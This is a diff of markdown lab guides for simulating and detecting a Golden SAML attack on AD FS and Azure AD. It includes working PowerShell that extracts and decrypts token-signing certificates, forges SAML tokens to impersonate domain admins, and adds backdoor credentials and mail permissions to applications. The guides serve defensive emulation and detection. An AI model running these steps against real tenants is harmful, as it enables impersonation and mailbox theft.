![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_28_export_certificate.png)
|
||||
|
||||
## Output
|
||||
|
||||
You can use the PFX file `C:\ProgramData\ADFSTokenSigningCertificate.pfx` in the next step where we [sign our own SAML token](signSAMLToken.md) to impersonate a privileged user in a federated environment.
|
||||
|
||||
## References
|
||||
* [Exporting ADFS certificates revisited: Tactics, Techniques and Procedures (o365blog.com)](https://o365blog.com/post/adfs/)
|
|
@ -1,28 +0,0 @@
|
|||
# Export Active Directory Federation Services (AD FS) Token Signing Certificate
|
||||
|
||||
Federation servers require token-signing certificates to prevent attackers from altering or counterfeiting security tokens to gain unauthorized access to Federated resources. The AD FS certificates (token signing and decryption) are stored in the AD FS database configuration, and they are encrypted using Distributed Key Manager (DKM) APIs. DKM is a client-side functionality that uses a set of secret keys to encrypt and decrypt information. Only members of a specific security group in Active Directory Domain Services (AD DS) can access those keys in order to decrypt the data that is encrypted by DKM.
|
||||
|
||||
when the primary AD FS farm is configured, an AD container (AD FS DKM container) is created in the domain controller and the DKM master key is stored as an attribute of an AD contact object located inside of the container. The AD FS DKM master key can then be used to derive a symmetric key and decrypt AD FS certificates.
|
||||
|
||||
A threat actor could use the `AD FS configuration settings` to extract sensitive information such as AD FS certificates (encrypted) and get the path to the AD FS DKM container in the domain controller. The `AD FS DKM master key` can then be retrieved from the AD container and used to decrypt the token signing certificate. Finally, the AD FS token signing certificate can be used to sign SAML tokens and impersonate users in a federated environment.
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_01_adfs_design.png)
|
||||
|
||||
## Simulate and Detect
|
||||
|
||||
1. [Export AD FS configuration settings](exportADFSConfigurationSettings.md).
|
||||
* There are two variations to this technique, locally on the AD FS server and remotely from any domain-joined workstation.
|
||||
2. [Extract AD FS token signing certificate](extractADFSTokenSigningCertificate.md).
|
||||
* Certificate is extracted as an encrypted blob.
|
||||
3. [Get the path of the AD FS DKM Container](getADFSDKMContainerADPath.md).
|
||||
4. [Export AD FS DKM master key from Domain Controller](exportADFSDKMMasterKeyFromDC.md).
|
||||
* There are two variations to this technique. the AD contact object holding the AD FS DKM master key can be accessed directly or retrieved/synced via [directory replication services (DRS)](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47).
|
||||
5. [Decrypt AD FS token signing certificate](decryptADFSTokenSigningCertificate.md).
|
||||
6. [Export AD FS token signing certificate as PFX file](exportADFSTokenSigningCertAsPfxFile.md).
|
||||
|
||||
# References
|
||||
* [Token-Signing Certificates | Microsoft Docs](https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/design/token-signing-certificates#:~:text=%20A%20token-signing%20certificate%20must%20meet%20the%20following,in%20the%20personal%20store%20of%20the...%20More%20)
|
||||
* [Exporting ADFS certificates revisited: Tactics, Techniques and Procedures (o365blog.com)](https://o365blog.com/post/adfs/)
|
||||
* [The Role of the AD FS Configuration Database | Microsoft Docs](https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-the-ad-fs-configuration-database)
|
||||
* [Create a server audit and database audit specification](https://docs.microsoft.com/en-us/sql/relational-databases/security/auditing/create-a-server-audit-and-database-audit-specification?view=sql-server-ver15)
|
||||
* [SQL Server Audit Action Groups and Actions](https://docs.microsoft.com/en-us/sql/relational-databases/security/auditing/sql-server-audit-action-groups-and-actions?view=sql-server-ver15)
|
|
@ -1,31 +0,0 @@
|
|||
# Extract Active Directory Federation Services (AD FS) Encryption Certificate
|
||||
|
||||
After [exporting the configuration settings of the AD FS database](exportADFSConfigurationSettings.md), a threat actor would use it to extract sensitive information such as certificates (token signing and encryption) in an encrypted format which can later be decrypted and used for further actions.
|
||||
|
||||
## Preconditions
|
||||
* Endpoint: ADFS01 or WORKSTATION6
|
||||
* Even when this step would happen outside of the organization, we can use the same PowerShell session on one of the endpoints where we [exported the AD FS configuration settings](exportADFSConfigurationSettings.md) from to go through the simulation steps.
|
||||
* AD FS Configuration Settings
|
||||
* The output from the previous step (`XML strings` object or `Microsoft.IdentityServer.PolicyModel.Configuration.ContractObject` object) is saved in the variable `$settings`. Use it in the PowerShell commands below.
|
||||
|
||||
## Extract AD FS Encryption Certificate
|
||||
|
||||
Remember that the certificate is extracted as an encrypted blob.
|
||||
|
||||
### XML String Object
|
||||
|
||||
```PowerShell
|
||||
[xml]$xml=$settings
|
||||
$encEncryptionPfx=$xml.ServiceSettingsData.SecurityTokenService.AdditionalEncryptionTokens.CertificateReference.EncryptedPfx
|
||||
$encPfxBytes=[System.Convert]::FromBase64String($encEncryptionPfx)
|
||||
$encPfxBytes | Format-Hex
|
||||
```
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_12_adfs_get_encrypted_encryption_cert.png)
|
||||
|
||||
## Output
|
||||
|
||||
Use the variable `$encEncryptionPfx` in the next step to [decrypt the AD FS encryption certificate](decryptADFSEncryptionCertificate.md). Remember that you must [get the AD FS DKM master key value](exportADFSDKMMasterKeyFromDC.md) first from the domain controller to decrypt the certificates.
|
||||
|
||||
## References
|
||||
* [Exporting ADFS certificates revisited: Tactics, Techniques and Procedures (o365blog.com)](https://o365blog.com/post/adfs/)
|
|
@ -1,31 +0,0 @@
|
|||
# Extract Active Directory Federation Services (AD FS) Token Signing Certificate
|
||||
|
||||
After [exporting the configuration settings of the AD FS database](exportADFSConfigurationSettings.md), a threat actor would use it to extract sensitive information such as certificates (Token signing and encryption) in an encrypted format which can later be decrypted and used for further actions (e.g. [Forge SAML tokens](signSAMLToken.md)).
|
||||
|
||||
## Preconditions
|
||||
* Endpoint: ADFS01 or WORKSTATION6
|
||||
* Even when this step would happen outside of the organization, we can use the same PowerShell session on one of the endpoints where we [exported the AD FS configuration settings](exportADFSConfigurationSettings.md) from to go through the simulation steps.
|
||||
* AD FS Configuration Settings
|
||||
* The output from the previous step (`XML strings` object or `Microsoft.IdentityServer.PolicyModel.Configuration.ContractObject` object) is saved in the variable `$settings`. Use it in the PowerShell commands below.
|
||||
|
||||
## Extract AD FS Token Signing Certificate
|
||||
|
||||
Remember that the certificate is extracted as an encrypted blob.
|
||||
|
||||
### XML String Object
|
||||
|
||||
```PowerShell
|
||||
[xml]$xml=$settings
|
||||
$encTokenSigningPfx=$xml.ServiceSettingsData.SecurityTokenService.AdditionalSigningTokens.CertificateReference.EncryptedPfx
|
||||
$encPfxBytes=[System.Convert]::FromBase64String($encTokenSigningPfx)
|
||||
$encPfxBytes | Format-Hex
|
||||
```
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_12_adfs_get_encrypted_token_signing_cert.png)
|
||||
|
||||
## Output
|
||||
|
||||
Use the variable `$encTokenSigningPfx` in the next step to [decrypt the AD FS token signing certificate](decryptADFSTokenSigningCertificate.md). Remember that you must [get the AD FS DKM master key value](exportADFSDKMMasterKeyFromDC.md) first from the domain controller to decrypt the certificates.
|
||||
|
||||
## References
|
||||
* [Exporting ADFS certificates revisited: Tactics, Techniques and Procedures (o365blog.com)](https://o365blog.com/post/adfs/)
|
|
@ -1,31 +0,0 @@
|
|||
# Get the Path of the AD FS DKM Container
|
||||
|
||||
Even though a threat actor might have been able to extract AD FS certificates (encrypted), they still need to be decrypted. AD FS certificates are encrypted using Distributed Key Manager (DKM) APIs and can be decrypted with a symmetric key derived from the AD FS DKM master key stored in the domain controller.
|
||||
|
||||
The AD FS DKM key value is stored in the `ThumbnailPhoto` attribute of an AD contact object in the AD FS DKM container. Therefore, we first need to get the path of the AD FS DKM container in the AD domain controller. That information can be retrieved from the `AD FS configuration settings`.
|
||||
|
||||
## Preconditions
|
||||
* Endpoint: ADFS01 or WORKSTATION6
|
||||
* We can use the same PowerShell session on one of the endpoints where we [exported the AD FS configuration settings](exportADFSConfigurationSettings.md) from to go through the simulation steps.
|
||||
* AD FS Configuration Settings
|
||||
* The output from the previous step (`XML strings` object or `Microsoft.IdentityServer.PolicyModel.Configuration.ContractObject` object) is saved in the variable `$settings`. Use it in the PowerShell commands below.
|
||||
|
||||
## Get path of AD FS DKM container
|
||||
|
||||
```PowerShell
|
||||
[xml]$xml=$settings
|
||||
$group = $xml.ServiceSettingsData.PolicyStore.DkmSettings.Group
|
||||
$container = $xml.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName
|
||||
$parent = $xml.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn
|
||||
$base = "LDAP://CN=$group,$container,$parent"
|
||||
$base
|
||||
```
|
||||
|
||||
![](../../resources/images/simulate_detect/credential-access/exportADFSTokenSigningCertificate/2021-05-19_13_get_ad_dkm_path.png)
|
||||
|
||||
## Output
|
||||
|
||||
Use the variable `$base` for the next steps where we [export the AD FS DKM master key from the domain controller](exportADFSDKMMasterKeyFromDC.md).
|
||||
|
||||
## References
|
||||
* [Exporting ADFS certificates revisited: Tactics, Techniques and Procedures (o365blog.com)](https://o365blog.com/post/adfs/)
|
|
@ -2,24 +2,35 @@
|
|||
|
||||
If a threat actor gets to [export the AD FS token signing certificate](exportADFSTokenSigningCertificate.md) from an AD FS server, it is just a matter of time until it is used to sign new SAML tokens and impersonate users in a federated environment.
|
||||
|
||||
## Sumulate & Detect
|
||||
1. [Enumerate privileged accounts](#enumerate-privileged-accounts).
|
||||
2. [Forge SAML token](#forge-saml-token).
|
||||
## Table of Contents
|
||||
|
||||
## Enumerate Privileged Accounts
|
||||
* [Preconditions](#preconditions)
|
||||
* [Simulation Steps](#simulation-steps)
|
||||
* [Output](#output)
|
||||
* [Variations](#variations)
|
||||
|
||||
Let's start by identifying privileged accounts that we could impersonate and that could also have privileged access to resources in the cloud. In this lab guide, the default domain admin account named `pgustavo` was also the account that was assigned the Azure AD built-in Global Administrator role. Therefore, we can start by enumerating the members of the `Domain Admins` group.
|
||||
## Preconditions
|
||||
|
||||
### Enumerate Members of the Domain Admins Group via Lightweight Directory Access Protocol (LDAP)
|
||||
## Preconditions
|
||||
* Integrity level: medium
|
||||
* Authorization:
|
||||
* Resource: Domain Controller
|
||||
* Identity:
|
||||
* Domain Users
|
||||
* Domain Controller
|
||||
* Services:
|
||||
* Active directory domain services
|
||||
* Network:
|
||||
* Port: 389
|
||||
* Input:
|
||||
* AD FS Token Signing Certificate
|
||||
|
||||
**Preconditions**
|
||||
* Endpoint: AD FS Server (ADFS01)
|
||||
* Authorization: AD FS service account or domain user
|
||||
* Endpoint: DC01
|
||||
* Service running: Active directory domain services
|
||||
* Port open: 389
|
||||
## Simulation Steps
|
||||
### Enumerate Privileged Accounts via Lightweight Directory Access Protocol (LDAP)
|
||||
|
||||
1. Connect to the AD FS server (ADFS01) via the [Azure Bastion service](../../2_deploy/_helper_docs/connectAzVmAzBastion.md) as the AD FS service account.
|
||||
Start by identifying privileged accounts that could also have privileged access to resources in the cloud. Usually, environments add their domain admin accounts to the Azure AD built-in Global Administrator role. Therefore, you can start by enumerating the members of the `Domain Admins` group.
|
||||
|
||||
1. Connect to a domain joined endpoint via the [Azure Bastion service](../../2_deploy/_helper_docs/connectAzVmAzBastion.md).
|
||||
2. Open PowerShell and run the following commands:
|
||||
|
||||
```PowerShell
|
||||
|
@ -51,19 +62,11 @@ $Results | Format-Table Samaccountname,ObjectGuid
|
|||
|
||||
![](../../resources/images/simulate_detect/credential-access/signSAMLToken/2021-05-19_01_get_domain_admins.png)
|
||||
|
||||
## Forge SAML Token
|
||||
### Forge SAML Token
|
||||
|
||||
A threat actor would most likely do this outside of the organization. Therefore, there are no detections for this step.
|
||||
|
||||
**Preconditions**
|
||||
* Endpoint: AD FS Server (ADFS01)
|
||||
* Even when this step would happen outside of the organization, we can use the same PowerShell session we used in the previous section.
|
||||
* Authorization: Local Administrator
|
||||
* Libraries Installed: [AADInternals](https://github.com/Gerenios/AADInternals)
|
||||
* AD FS token signing certificate:
|
||||
* In a previous step, we [exported the AD FS token signing certificate as a PFX file](exportADFSTokenSigningCertAsPfxFile.md) to the `C:\ProgramData` directory with the name `ADFSTokenSigningCertificate.pfx` (default).
|
||||
|
||||
### Convert User AD Object GUID to its Azure AD Immutable ID representation
|
||||
#### Convert User AD Object GUID to its Azure AD Immutable ID representation
|
||||
|
||||
1. Once we identify the privileged user we want to impersonate, we need to obtain the `immutable ID` of the account AD object GUID. The `ImmutableId` is the base64-encoded representation of a domain user GUID in Azure AD.
|
||||
|
||||
|
@ -77,29 +80,24 @@ $ImmutableId
|
|||
|
||||
![](../../resources/images/simulate_detect/credential-access/signSAMLToken/2021-05-19_02_get_immutable_id.png)
|
||||
|
||||
### Install AADInternals
|
||||
#### Install AADInternals
|
||||
|
||||
2. Start a new PowerShell session as administrator and run the following commands to install [AADInternals](https://github.com/Gerenios/AADInternals) if it is not installed yet:
|
||||
2. On the same PowerShell session, run the following commands to install [AADInternals](https://github.com/Gerenios/AADInternals) if it is not installed yet:
|
||||
|
||||
```PowerShell
|
||||
Install-Module –Name AADInternals –RequiredVersion 0.4.8 -Force
|
||||
Install-Module –Name AADInternals -Force
|
||||
Import-Module –Name AADInternals
|
||||
```
|
||||
|
||||
3. Go back to the PowerShell session where you calculated the `ImmutableId` and import AADInternals
|
||||
#### Sign a New SAML Token
|
||||
|
||||
```PowerSHell
|
||||
Import-Module AADInternals
|
||||
```
|
||||
|
||||
### Sign a New SAML Token
|
||||
|
||||
4. Use the `New-AADIntSAMLToken` function to sign a new SAML token with the following information:
|
||||
3. Use the [New-AADIntSAMLToken](https://github.com/Gerenios/AADInternals/blob/master/FederatedIdentityTools.ps1#L6) function with the following information to sign a new SAML token:
|
||||
* The `ImmutableID` we got in the first section.
|
||||
* The path to the token signing certificate file.
|
||||
* The AD FS token issuer url.
|
||||
|
||||
```PowerShell
|
||||
$Cert = 'C:\ProgramData\ADFSTokenSigningCertificate.pfx'
|
||||
$Cert = 'C:\ProgramData\ADFSSigningCertificate.pfx'
|
||||
$Issuer = 'http://simulandlabs.com/adfs/services/trust/'
|
||||
$SamlToken = New-AADIntSAMLToken -ImmutableID $ImmutableId -PfxFileName $Cert -PfxPassword "" -Issuer $Issuer
|
||||
$SamlToken
|
||||
|
@ -109,7 +107,7 @@ $SamlToken
|
|||
|
||||
## Output
|
||||
|
||||
Use the variable `$SamlToken` in the next step to [get an OAuth access token via the SAML bearer assertion flow](../persistence/getOAuthTokenWithSAMLAssertion.md) for OAuth protected resources such as the Microsoft Graph API.
|
||||
* SAML Token
|
||||
|
||||
## References
|
||||
* [Exporting ADFS certificates revisited: Tactics, Techniques and Procedures (o365blog.com)](https://o365blog.com/post/adfs/)
|
||||
|
|
|
@ -10,30 +10,28 @@ This authentication consists of two elements:
|
|||
|
||||
[An application object is the global representation of an application for use across all tenants, and the service principal is the local representation for use in a specific tenant](https://docs.microsoft.com/en-us/azure/active-directory/develop/app-objects-and-service-principals). A service principal must be created in each tenant where the application is used, enabling it to establish an identity for sign-in and/or access to resources being secured by the tenant.
|
||||
|
||||
## Simulate & Detect
|
||||
1. [List Existing Applications](#list-existing-applications)
|
||||
2. [Get Application Id](#get-application-id)
|
||||
3. [Add credentials to application](#add-credentials-to-application)
|
||||
* [Detect credentials added to an application](#detect-credentials-added-to-an-application)
|
||||
## Table of Contents
|
||||
|
||||
* [Preconditions](#preconditions)
|
||||
* [Simulation Steps](#simulation-steps)
|
||||
* [Detection](#detection)
|
||||
* [Output](#output)
|
||||
|
||||
## Preconditions
|
||||
|
||||
* Endpoint: AD FS Server (ADFS01)
|
||||
* Even when this step would happen outside of the organization, we can use the same PowerShell session where we [got a Microsoft Graph oauth access token](../persistence/getOAuthTokenWithSAMLAssertion.md).
|
||||
* Microsoft Graph OAuth access token
|
||||
* Use the output from the [previous step](../persistence/getOAuthTokenWithSAMLAssertion.md) as the variable `$OAuthAccessToken`. Make sure you request the access token with the public `Azure Active Directory PowerShell Application`. That application has the right permissions to execute all the simulation steps in this document.
|
||||
## List Existing Azure AD Applications
|
||||
|
||||
**Preconditions**
|
||||
* Authorization:
|
||||
* Service: Azure Microsoft Graph
|
||||
* Permission Type: Delegated
|
||||
* Permissions (One of the following):
|
||||
* Application.Read.All
|
||||
* Resource: Azure Microsoft Graph
|
||||
* Permission Type: Delegated
|
||||
* Permissions:
|
||||
* Application.ReadWrite.All
|
||||
* Directory.Read.All
|
||||
* Directory.ReadWrite.All
|
||||
* DelegatedPermissionGrant.ReadWrite.All
|
||||
* Input:
|
||||
* Microsoft Graph OAuth access token
|
||||
|
||||
Open PowerShell as administrator and use the Microsoft Graph oauth access token to list the current Azure AD applications in a tenant.
|
||||
## Simulation Steps
|
||||
### List Existing Azure AD Applications
|
||||
|
||||
1. Open PowerShell and use the Microsoft Graph oauth access token to list the current Azure AD applications in a tenant.
|
||||
|
||||
```PowerShell
|
||||
$headers = @{"Authorization" = "Bearer $OAuthAccessToken"}
|
||||
|
@ -48,7 +46,7 @@ $applications
|
|||
|
||||
![](../../resources/images/simulate_detect/persistence/addCredentialsToApplication/2021-05-19_01_all_registered_applications.png)
|
||||
|
||||
Next, filter the results and select the Azure AD application you want to grant permissions to. If you followed the instructions to [register one Azure AD application](../../2_deploy/_helper_docs/registerAADAppAndSP.md) after deploying the lab environment, your app should be named `SimuLandApp`. If you used a different name, make sure you look for it with the right name in the following PowerShell command:
|
||||
2. Next, filter the results and select the Azure AD application you want to grant permissions to. If you followed the instructions to [register one Azure AD application](../../2_deploy/_helper_docs/registerAADAppAndSP.md) after deploying the lab environment, your app should be named `SimuLandApp`. If you used a different name, make sure you look for it with the right name in the following PowerShell command:
|
||||
|
||||
```PowerShell
|
||||
$Application = $applications.value | Where-Object {$_.displayName -eq "SimuLandApp"}
|
||||
|
@ -57,26 +55,18 @@ $Application
|
|||
|
||||
![](../../resources/images/simulate_detect/persistence/addCredentialsToApplication/2021-05-19_01_specific_application.png)
|
||||
|
||||
## Get Application Id
|
||||
### Get Application Id
|
||||
|
||||
Use the `$application` variable to get the application object id.
|
||||
3. Use the `$application` variable to get the application object id.
|
||||
|
||||
```PowerShell
|
||||
$appObjectId = $application.id
|
||||
$appObjectId
|
||||
```
|
||||
|
||||
## Add Credentials to Application
|
||||
|
||||
**Preconditions**
|
||||
* Authorization
|
||||
* Service: Azure Microsoft Graph
|
||||
* Permission Type: Delegated
|
||||
* Permissions: Application.ReadWrite.All
|
||||
|
||||
### Adding Credentials (Password) to an Application
|
||||
|
||||
Use the [Microsoft Graph Application addPassword API](https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http) to add credentials to an application
|
||||
4. Use the [Microsoft Graph Application addPassword API](https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http) to add credentials to an application
|
||||
|
||||
```PowerShell
|
||||
$pwdCredentialName = 'SimuLandCreds'
|
||||
|
@ -104,28 +94,30 @@ $secret
|
|||
|
||||
### Verify New Application Credentials
|
||||
|
||||
Browse to [Azure Portal](https://portal.azure.com/) and go to Azure AD > App Registrations > `SimuLandApp` > `Certificates & secrets` to verify the task.
|
||||
5. Browse to [Azure Portal](https://portal.azure.com/) and go to Azure AD > App Registrations > `SimuLandApp` > `Certificates & secrets` to verify the task.
|
||||
|
||||
![](../../resources/images/simulate_detect/persistence/addCredentialsToApplication/2021-05-19_05_app_new_secret.png)
|
||||
|
||||
## Detect Credentials Added to an Application
|
||||
## Detection
|
||||
|
||||
### Azure Sentinel Detection Rules
|
||||
### Detect Credentials Added to an Application
|
||||
|
||||
#### Azure Sentinel Detection Rules
|
||||
|
||||
* [New access credential added to Application or Service Principal](https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/NewAppOrServicePrincipalCredential.yaml)
|
||||
* [First access credential added to Application or Service Principal where no credential was present](https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/FirstAppOrServicePrincipalCredential.yaml)
|
||||
|
||||
### Microsoft 365 Hunting Queries
|
||||
#### Microsoft 365 Hunting Queries
|
||||
|
||||
* [Credentials were added to an Azure AD application after 'Admin Consent' permissions granted [Nobelium]](https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/773ebb498e0aa897678be98c34ffa56359bf29d9/Persistence/CredentialsAddAfterAdminConsentedToApp%5BNobelium%5D.md)
|
||||
|
||||
### Azure AD Workbook: `Sensitive Operations Report`
|
||||
#### Azure AD Workbook: `Sensitive Operations Report`
|
||||
1. Browse to [Azure Portal](https://portal.azure.com/)
|
||||
2. Azure AD > `Workbooks` > `Sensitive Operations Report`
|
||||
|
||||
![](../../resources/images/simulate_detect/persistence/addCredentialsToApplication/2021-05-19_06_workbook.png)
|
||||
|
||||
### Microsoft Cloud App Security
|
||||
#### Microsoft Cloud App Security
|
||||
1. Navigate to [Microsoft 365 Security Center](https://security.microsoft.com/).
|
||||
2. Go to `More Resources` and click on `Microsoft Cloud App Security`.
|
||||
3. `Alerts`
|
||||
|
@ -136,14 +128,9 @@ Browse to [Azure Portal](https://portal.azure.com/) and go to Azure AD > App Reg
|
|||
|
||||
## Output
|
||||
|
||||
Use the variable `$secret` to authenticate to the compromised application.
|
||||
|
||||
* You can use a SAML assertion and the `$secret` value to get an OAuth access token with the application as the client. [Get the OAuth access token via the SAML bearer assertion flow](../persistence/getOAuthTokenWithSAMLAssertion.md). You can get a token to access the Microsoft Graph API.
|
||||
|
||||
If the application has delegated permissions to read mail, you can use the OAuth access token from the previous step to read mail of the signed-in user:
|
||||
|
||||
* [Mail access with delegated permissions](../collection/mailAccessDelegatedPermissions.md)
|
||||
|
||||
* Application Secret
|
||||
* Use the variable `$secret` to authenticate to the compromised application.
|
||||
* You can use a SAML assertion and the `$secret` value to get an OAuth access token with the application as the client. [Get the OAuth access token via the SAML bearer assertion flow](../persistence/getOAuthTokenWithSAMLAssertion.md). You can get a token to access the Microsoft Graph API.
|
||||
# References
|
||||
* [OAuth 2.0 client credentials flow on the Microsoft identity platform | Microsoft Docs](https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-client-creds-grant-flow)
|
||||
* [Use an app identity to access resources - Azure Stack Hub | Microsoft Docs](https://docs.microsoft.com/en-us/azure-stack/operator/azure-stack-create-service-principals?view=azs-2008&tabs=az1%2Caz2&pivots=state-disconnected)
|
||||
|
|
|
@ -15,34 +15,27 @@ These resources can define a set of permissions that can be used to divide the f
|
|||
|
||||
A delegated permission grant is represented by an [oAuth2PermissionGrant object](https://docs.microsoft.com/en-us/graph/api/resources/oauth2permissiongrant?view=graph-rest-1.0). Therefore, an OAuth permission grant needs to be created in order to grant delegated permissions to an application.
|
||||
|
||||
## Simulate & Detect
|
||||
## Table of Contents
|
||||
|
||||
In this document, we simulate an adversary granting delegated permissions to an existing OAuth application.
|
||||
|
||||
1. [List Existing Applications](#list-existing-applications)
|
||||
2. [Get the Application Service Principal](#get-the-application-service-principal)
|
||||
3. [Grant Delegated Permissions to Application](#grant-delegated-permissions-to-application)
|
||||
* [Detect Permissions Granted to Applications](#detect-permissions-granted-to-applications)
|
||||
* [Preconditions](#preconditions)
|
||||
* [Simulation Steps](#simulation-steps)
|
||||
* [Detection](#detection)
|
||||
* [Output](#output)
|
||||
|
||||
## Preconditions
|
||||
|
||||
* Endpoint: AD FS Server (ADFS01)
|
||||
* Even when this step would happen outside of the organization, we can use the same PowerShell session where we [got a Microsoft Graph oauth access token](../persistence/getOAuthTokenWithSAMLAssertion.md).
|
||||
* Microsoft Graph OAuth access token
|
||||
* Use the output from the [previous step](../persistence/getOAuthTokenWithSAMLAssertion.md) as the variable `$OAuthAccessToken`. Make sure you request the access token with the public `Azure Active Directory PowerShell Application`. That application has the right permissions to execute all the simulation steps in this document.
|
||||
* Authorization:
|
||||
* Resource: Azure Microsoft Graph
|
||||
* Permission Type: Delegated
|
||||
* Permissions:
|
||||
* Application.ReadWrite.All
|
||||
* Directory.ReadWrite.All
|
||||
* DelegatedPermissionGrant.ReadWrite.All
|
||||
* Input:
|
||||
* Microsoft Graph OAuth access token
|
||||
|
||||
## List Existing Applications
|
||||
|
||||
**Preconditions**
|
||||
* Authorization:
|
||||
* Service: Azure Microsoft Graph
|
||||
* Permission Type: Delegated
|
||||
* Permissions (One of the following):
|
||||
* Application.Read.All
|
||||
* Application.ReadWrite.All
|
||||
* Directory.Read.All
|
||||
|
||||
Open PowerShell as administrator and use the Microsoft Graph oauth access token to list the current Azure AD applications in a tenant.
|
||||
1. Open PowerShell and use the Microsoft Graph oauth access token to list the current Azure AD applications in a tenant.
|
||||
|
||||
```PowerShell
|
||||
$headers = @{"Authorization" = "Bearer $OAuthAccessToken"}
|
||||
|
@ -58,7 +51,7 @@ $AzADApps.value
|
|||
|
||||
![](../../resources/images/simulate_detect/persistence/grantDelegatedPermissionsToApplication/2021-05-19_02_aad_application.png)
|
||||
|
||||
Next, filter the results and select the Azure AD application you want to grant permissions to. If you followed the instructions to [register one Azure AD application](../../2_deploy/_helper_docs/registerAADAppAndSP.md) after deploying the lab environment, your app should be named `SimuLandApp`. If you used a different name, make sure you look for it with the right name in the following PowerShell command:
|
||||
2. Next, filter the results and select the Azure AD application you want to grant permissions to. If you followed the instructions to [register one Azure AD application](../../2_deploy/_helper_docs/registerAADAppAndSP.md) after deploying the lab environment, your app should be named `SimuLandApp`. If you used a different name, make sure you look for it with the right name in the following PowerShell command:
|
||||
|
||||
```PowerShell
|
||||
$Application = $AzADApps.value | Where-Object {$_.displayName -eq "SimuLandApp"}
|
||||
|
@ -67,19 +60,9 @@ $Application
|
|||
|
||||
![](../../resources/images/simulate_detect/persistence/grantDelegatedPermissionsToApplication/2021-05-19_02_aad_application_specific.png)
|
||||
|
||||
## Get the Application Service Principal
|
||||
### Get the Application Service Principal
|
||||
|
||||
**Preconditions**
|
||||
* Authorization:
|
||||
* Service: Azure Microsoft Graph
|
||||
* Permission Type: Delegated
|
||||
* Permissions (One of the following):
|
||||
* Application.Read.All
|
||||
* Application.ReadWrite.All
|
||||
* Directory.Read.All
|
||||
* Directory.ReadWrite.All
|
||||
|
||||
Next, in order to grant permissions to the application, we need to do it at the service principal level. We can take the application Id value from our previous steps and get its service principal.
|
||||
3. In order to grant permissions to the application, we need to do it at the service principal level. We can take the application Id value from our previous steps and get its service principal.
|
||||
|
||||
```PowerShell
|
||||
$headers = @{"Authorization" = "Bearer $OAuthAccessToken"}
|
||||
|
@ -96,23 +79,11 @@ $AzADAppSp.value | Format-List
|
|||
|
||||
Now that we have the service principal of the OAuth application, we can grant permissions to it.
|
||||
|
||||
## Grant Delegated Permissions to Application
|
||||
|
||||
### Get Microsoft Graph Service Principal Id
|
||||
|
||||
**Preconditions**
|
||||
* Authorization:
|
||||
* Service: Azure Microsoft Graph
|
||||
* Permission Type: Delegated
|
||||
* Permissions (One of the following):
|
||||
* Application.Read.All
|
||||
* Application.ReadWrite.All
|
||||
* Directory.Read.All
|
||||
* Directory.ReadWrite.All
|
||||
4. Identify the id of the resource service principal to which access is authorized. This identifies the API which the client is authorized to attempt to call on behalf of a signed-in user.
|
||||
|
||||
Identify the id of the resource service principal to which access is authorized. This identifies the API which the client is authorized to attempt to call on behalf of a signed-in user.
|
||||
|
||||
In this exercise, we are going to grant permissions from the [Microsoft Graph API](https://docs.microsoft.com/en-us/graph/overview?view=graph-rest-1.0). Therefore, we need to get the Id of the Microsoft Graph API service principal.
|
||||
In this step, we are going to grant permissions from the [Microsoft Graph API](https://docs.microsoft.com/en-us/graph/overview?view=graph-rest-1.0). Therefore, we need to get the Id of the Microsoft Graph API service principal.
|
||||
|
||||
```PowerShell
|
||||
$resourceSpDisplayName = 'Microsoft Graph'
|
||||
|
@ -134,22 +105,13 @@ $ResourceSvcPrincipal.value | Format-List
|
|||
|
||||
### Create OAuth permission grant
|
||||
|
||||
**Preconditions**
|
||||
* Authorization:
|
||||
* Service: Azure Microsoft Graph
|
||||
* Permission Type: Delegated
|
||||
* Permissions (One of the following):
|
||||
* DelegatedPermissionGrant.ReadWrite.All
|
||||
* Directory.ReadWrite.All
|
||||
* Directory.AccessAsUser.All
|
||||
|
||||
Define what permissions you want grant as an array as shown below. For this example, we are granting `Mail.ReadWrite` permissions to the OAuth application. Feel free to add other delegated permissions depending on your use case.
|
||||
5. Define what permissions you want grant as an array as shown below. For this example, we are granting `Mail.ReadWrite` permissions to the OAuth application. Feel free to add other delegated permissions depending on your use case.
|
||||
|
||||
```PowerShell
|
||||
$permissions = @('Mail.ReadWrite')
|
||||
```
|
||||
|
||||
Create an oauth permission grant via the [Microsoft Graph oauth2PermissionGrants API](https://docs.microsoft.com/en-us/graph/api/oauth2permissiongrant-post?view=graph-rest-1.0&tabs=http).
|
||||
6. Create an oauth permission grant via the [Microsoft Graph oauth2PermissionGrants API](https://docs.microsoft.com/en-us/graph/api/oauth2permissiongrant-post?view=graph-rest-1.0&tabs=http).
|
||||
|
||||
```PowerShell
|
||||
$ServicePrincipalId = $AzADAppSp.value.id
|
||||
|
@ -178,27 +140,31 @@ $params = @{
|
|||
Invoke-RestMethod @params
|
||||
```
|
||||
|
||||
## Detect Permissions Granted to Applications
|
||||
## Detection
|
||||
|
||||
### Azure Sentinel Detection Rules
|
||||
### Detect Permissions Granted to Applications
|
||||
|
||||
#### Azure Sentinel Detection Rules
|
||||
|
||||
* [Mail.Read Permissions Granted to Application (AuditLogs)](https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/MailPermissionsAddedToApplication.yaml)
|
||||
|
||||
### Microsoft 365 Hunting Queries
|
||||
#### Microsoft 365 Hunting Queries
|
||||
|
||||
